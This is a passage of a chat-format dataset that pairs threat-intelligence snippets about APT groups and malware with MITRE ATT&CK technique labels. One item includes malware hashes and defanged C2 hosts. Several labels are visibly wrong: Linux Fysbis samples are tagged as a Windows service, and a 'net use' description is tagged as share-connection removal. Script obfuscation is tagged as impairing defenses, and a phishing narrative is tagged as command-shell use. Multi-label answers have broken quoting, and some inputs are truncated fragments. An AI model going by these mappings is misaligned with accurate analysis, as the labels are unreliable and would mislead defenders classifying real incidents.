                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It then reads and decrypts the content between these values to yield an IP address as shown below:       ---- BEGIN SSH2 PUBLIC KEY ----Comment: \"rsa-key\"AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3/KvmlpeJZrrFu2n5UC9=DZKSDAAADOECEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+Ps8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE2Q/oxLXTrpeJ6AHyLyeUaBha3q9niJ=---- END SSH2 PUBLIC KEY ----     A Python script to decode strings encrypted with this technique is given in Appendix B – Python Scripts"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT1 has created email accounts for later use in social engineering, phishing, and when registering domains."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mimikatz performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the SAM table."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot has been known to reach a command and control server via one of nine proxy IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During FunnyDream, the threat actors used Systeminfo to collect information on targeted hosts."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LiteDuke has the ability to decrypt and decode multiple layers of obfuscation."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has cleared select event log entries."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In 2017, Sandworm Team conducted technical research related to vulnerabilities associated with websites used by the Korean Sport and Olympic Committee, a Korean power company, and a Korean airport."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Connects a computer to or disconnects a computer from a shared resource, or displays information about computer connections. The command also controls persistent net connections. Used without parameters, net use retrieves a list of network connections"
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal on Host: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "But first: How did they get the tools on the victim’s systems. The adversary copied those tools over SMB from compromised system to compromised system wherever they needed these tools"
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Summary information for the three binaries we analyzed follows:    MD5 364ff454dcf00420cff13a57bcb78467   SHA-256 8bca0031f3b691421cb15f9c6e71ce19335 5d2d8cf2b190438b6962761d0c6bb   ssdeep 3072:n+1R4tREtGN4qyGCXdHPYK9l0H786 O26BmMAwyWMn/qwwiHNl:n+1R43QcIL XdF0w6IBmMAwwCwwi   Size 141.2 KB (144560 bytes)   Type ELF 64-bit (stripped)   Install as root /bin/rsyncd   Root install desc synchronize and backup service   Install as non-root ~/.config/dbus-notifier/dbus-inotifier   Non-root install desc system service d-bus notifier   C2 azureon-line[.]com (TCP/80)   Usage Timeframe Late 2014    Table 1: Sample 1 – Late 2014 Sofacy 64-bit Fysbis    MD5 075b6695ab63f36af65f7ffd45cccd39   SHA-256 02c7cf55fd5c5809ce2dce56085ba43795f2 480423a4256537bfdfda0df85592   ssdeep 3072:9ZAxHANuat3WWFY9nqjwbuZf454U NqRpROIDLHaSeWb3LGmPTrIW33HxIajF: 9ZAxHANJAvbuZf454UN+rv eQLZPTrV3Z   Size 175.9 KB (180148 bytes)   Type ELF 32-bit (stripped)   Install as root /bin/ksysdefd   Root install desc system kernel service defender   Install as non-root ~/.config/ksysdef/ksysdefd   Non-root install desc system kernel service defender   C2 198.105.125[.]74 (TCP/80)   Usage Timeframe Early 2015    Table 2: Sample 2 – Early 2015 Sofacy 32-bit Fysbis    MD5 e107c5c84ded6cd9391aede7f04d64c8   SHA-256 fd8b2ea9a2e8a67e4cb3904b49c789d57ed 9b1ce5bebfe54fe3d98214d6a0f61   ssdeep 6144:W/D5tpLWtr91gmaVy+mdckn6BCUd c4mLc2B9:4D5Lqgkcj+   Size 314.4 KB (321902 bytes)   Type ELF 64-bit (not stripped)   Install as root /bin/ksysdefd   Root install desc system kernel service defender   Install as non-root ~/.config/ksysdef/ksysdefd   Non-root install desc system kernel service defender   C2 mozilla-plugins[.]com (TCP/80)   Usage Timeframe Late 2015    Table 3: Sample 3 – Late 2015 Sofacy 64-bit Fysbis Overall, these binaries are assessed as low sophistication, but effective"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery', 'T1543.003 - Create or Modify System Process: Windows Service', 'T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "may create a temporary user on the system named “Lost_{Unique Identifier}.”"
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has stolen user's saved passwords from Chrome."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Decoding these PowerShell scripts revealed that they are used to access paste.ee URLs for easy implementation of fileless payloads. The CallByName export function in Visual Basic is used to call the load of a .NET assembly within memory from a paste.ee URL."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remcos steals and modifies data from the clipboard."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IronNetInjector can use an IronPython scripts to load a .NET injector to inject a payload into its own or a remote process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The OilRig group remains highly active in their attack campaigns while they continue to evolve their toolset. In both attacks, the OilRig group attempted to deliver a new Trojan that we are tracking as OopsIE. The January 8 attack used a variant of the ThreeDollars delivery document, which we identified as part of the OilRig toolset based on attacks that occurred in August 2017. Instead, this attack involved delivering the OopsIE Trojan directly to the victim, most likely using a link in a spear phishing email. Interestingly, the targeted organization in the January 16 attack had already been targeted by the OilRig group a year ago on January 2017. A New Attack On January 8, 2018, the OilRig threat group sent an email with the subject Beirut Insurance Seminar Invitation to an insurance agency in the Middle East. In the January 16, 2018 attack, we observed OilRig attacking an organization it previously targeted in January 2017. In this case, the ThreeDollars delivery document was not used and instead an attempt was made to deliver the OopsIE Trojan directly to the targeted organization, likely via a link within an email. While this is not a new tactic, this is the first instance where we have observed the OilRig using it in their playbook. As we have observed throughout our tracking of the OilRig group, adopting proven tactics has been a common behavior over time"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AdFind can extract subnet information from Active Directory."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAWKBALL has methods to check if the process the malware uses is being debugged."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CosmicDuke can use HTTP or HTTPS for command and control to hard-coded C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SpicyOmelette can identify payment systems, payment gateways, and ATM systems in compromised environments."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "lists the directories for Desktop, program files, and the user’s recently accessed files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kessel has decrypted the binary's configuration once the \"main\" function was launched."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  macro deletes files after it has decoded and decompressed them."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has gathered a recursive directory listing to find files and directories of interest."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OutSteel has been distributed through malicious links contained within spearphishing emails."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Comnie executes the \"netstat -ano\" command."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a tool that can run DLLs."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As mentioned previously, this backdoor also supports loading plugins. The server creates a thread that searches for files matching the following pattern lPH*.dll. If such a file exists, it is loaded and its export function ModuleStart is called. Among the various plugins we have located so far, one is able to steal recent files and files from USB thumb drives"
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media', 'T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Interestingly, the actors chose to leverage Cobalt Strike for lateral movement. The first of several beacon files are dropped onto the same infected endpoint running Brute Ratel C4, with the first being:"
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool', 'T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has discovered the local network configuration with ipconfig."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cluster targeting Brazil used hacked websites and Google Ads to drive users to download the malicious installer. The campaign targeting other countries used spear-phishing as the delivery method"
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "njRAT has a module that steals passwords saved in victim web browsers."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "stages command output and collected data in files before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group has bypassed UAC."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As has been previously reported, there are two variants of the trojan TinkaOTP. The version that has received the most attention contains the malware payload in the application bundle’s Resources folder. The dot prefix is added in order to make it invisible in the Finder. This payload is then executed via a user LaunchAgent at ~/Library/LaunchAgents/com.aex-loop.agent.plist"
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used VBSscipt macros for execution on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We found two obfuscation techniques applied to the script: the first one changing the representation of variables; the second one changing the representation of strings in the script"
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "C2 Command   Purpose    reboot  Reboot the system using shutdown command    shutdown  Shut down the system using shutdown command    clean  Wipe the Drives, C:\\, D:\\, E:\\, F:\\    screenshot  Take a screenshot of the System    upload  Encrypt and upload the information from the system    excel  Leverage Excel.Application COM object for code execution    outlook  Leverage Outlook.Application COM object for code execution    risk  Leverage DCOM object for code execution   Conclusion This activity shows us that TEMP.Zagros stays up-to-date with the latest code execution and persistence mechanism techniques, and that they can quickly leverage these techniques to update their malware"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture', 'T1082 - System Information Discovery', 'T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1106 - Native API', 'T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hydraq creates a backdoor through which remote attackers can clear all system event logs."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BackdoorDiplomacy has obtained a variety of open-source reconnaissance and red team tools for discovery and lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the victim appears valuable to the attackers, a GRIFFON implant installer is pushed to the victim’s workstation. This module stores another instance of the GRIFFON implant inside the registry to achieve persistence. Here is a PowerLinks-style method used by the attackers to achieve persistence and execute the GRIFFON implant at each user logon. The new GRIFFON implant is written to the hard drive before each execution, limiting the “file-less” aspect of this method"
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The fourth spear phishing email of the campaign was sent on January 23, 2018 to a range of targets working for Tibetan NGOs, media groups, and the CTA. The message appeared to be sent from the Director of the Tibet Museum, which is an official museum of the CTA. Attached to the email were RTF and PPSX messages that claimed to present information about the National Museum of Tibet (see Figure 5). These files contained the CVE-2017-11882 and TSSL Suite infection chain"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emissary has the capability to execute \"gpresult\"."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Inception has exploited CVE-2012-0158, CVE-2014-1761, CVE-2017-11882 and CVE-2018-0802 for execution."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The second module is used by the operators to execute an obfuscated PowerShell script, which contains a Meterpreter downloader widely known as “Tinymet“. This downloader, seen in past FIN7 campaigns, downloads a one-byte XOR-encrypted (eg. with the key equal to 0x50 or 0x51) piece of meterpreter shellcode to execute"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NavRAT is a remote access trojan (RAT) designed to upload, download and execute files. This screenshot shows the logs messages during the process injection with the API usage. NavRAT starts by copying itself (~emp.exe) to the %ProgramData%\\Ahnlab\\GoogleUpdate.exe path. NavRAT then creates a registry key in order to execute this file copy at the next reboot of the system, an initial method of persistence. The log files mentioned previously are stored in the same directory as NavRAT on the victim machine, again making it easy for us to find and analyse the additional log files. NavRAT has support for process injection. By using this method, it will copy itself into a running Internet Explorer process in order to avoid detection by running as an independent process"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to extend the lifespan of the domains in case one or more are blacklisted, there are twelve different C2 domains that xparis() can be set to"
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has disabled host-based firewalls. The group has also globally opened port 3389."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a virus that propagates by infecting executables stored on shared drives."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has utilized tools to aggregate data prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CARROTBAT has the ability to execute command line arguments on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used legitimate credentials to login to an external VPN, Citrix, SSH, and other remote services."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca has acquired and used a variety of open source tools."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "jRAT can list security software, such as by using WMIC to identify anti-virus products installed on the victim’s machine and to obtain firewall details."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZLib communicates over HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The plugin is a Mimikatz version compiled in the Second_Release_PowerShell configuration. This version can be loaded into the address space of a PowerShell process via reflective DLL loading as implemented in the Exfiltration module of PowerSploit"
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group macros can scan for Microsoft Word and Excel files to inject with additional malicious macros. Gamaredon Group has also used its backdoors to automatically list interesting files (such as Office documents) found on a system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During FunnyDream, the threat actors used ipconfig for discovery on remote systems."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This transport library does not appear on disk in its PE format. It is maintained as encrypted resource 107 in the orchestrator module, then decrypted and loaded by the orchestrator directly into the memory of the target process. This C2 interaction module is independent, once started, it interacts with the orchestrator using its local named pipe"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN8 has used RDP for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "moved laterally via RDP."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
